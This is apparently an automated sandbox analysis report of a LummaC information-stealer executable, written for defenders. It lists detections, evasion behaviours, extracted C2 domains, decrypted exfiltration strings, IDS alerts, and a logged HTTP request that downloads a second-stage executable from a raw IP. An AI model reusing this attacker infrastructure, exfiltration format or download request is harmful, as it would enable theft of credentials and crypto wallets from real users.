Edit tour

Windows Analysis Report
eYAXkcBRfQ.exe

Overview

General Information

Sample name:	eYAXkcBRfQ.exe renamed because original name is a hash value
Original sample name:	6c77cecdfb7fbd825f0f1b98e7580a12.exe
Analysis ID:	1581410
MD5:	6c77cecdfb7fbd825f0f1b98e7580a12
SHA1:	bd5aaf24f85326a8593b63714e6cf5ee5b944a7f
SHA256:	386fb04c425da5e032bad93a558acdd85b864daa434dd28b4d8a7f44a930e160
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

eYAXkcBRfQ.exe (PID: 4952 cmdline: "C:\Users\user\Desktop\eYAXkcBRfQ.exe" MD5: 6C77CECDFB7FBD825F0F1B98E7580A12)

chrome.exe (PID: 3304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2064,i,8281733334163277,9674830976605934628,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1140 --field-trial-handle=2008,i,8247718535860993351,4651391629473625408,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["rebuildeso.buzz", "mindhandru.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "inherineau.buzz", "scentniej.buzz", "cashfuzysao.buzz", "prisonyfork.buzz", "appliacnesot.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2173802722.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eYAXkcBRfQ.exe PID: 4952	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: eYAXkcBRfQ.exe PID: 4952	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eYAXkcBRfQ.exe PID: 4952	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: eYAXkcBRfQ.exe PID: 4952	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:12:26.689886+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:12:28.716479+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:12:31.274503+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:12:33.765148+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T15:12:36.537810+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T15:12:39.011822+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:12:41.377931+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T15:12:51.509473+0100	2028371	3	Unknown Traffic	192.168.2.5	49727	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:12:27.446840+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:12:29.505443+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:12:52.585235+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49727	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:12:27.446840+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:12:29.505443+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:12:54.222596+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49733	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:12:39.677481+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: eYAXkcBRfQ.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/02	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apip	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiz	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apied	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/uo	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apip	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/3e	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/s	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/p	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/e	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/M	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/J	Avira URL Cloud: Label: malware

Found malware configuration

Source: eYAXkcBRfQ.exe.4952.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["rebuildeso.buzz", "mindhandru.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "inherineau.buzz", "scentniej.buzz", "cashfuzysao.buzz", "prisonyfork.buzz", "appliacnesot.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: eYAXkcBRfQ.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: eYAXkcBRfQ.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2044243154.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=eYAXkcBRfQ.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: eYAXkcBRfQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49911 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49727 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: eYAXkcBRfQ.exe, 00000000.00000002.2525438887.0000000005B32000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49727 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:12:53 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Fri, 27 Dec 2024 14:04:53 GMTConnection: keep-aliveETag: "676eb405-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 98 d0 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 6f 70 76 75 73 65 79 00 00 2a 00 00 a0 00 00 00 fa 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 70 6a 6e 6f 74 79 77 00 20 00 00 00 a0 2a 00 00 06 00 00 00 62 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49727 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49733 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49911 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
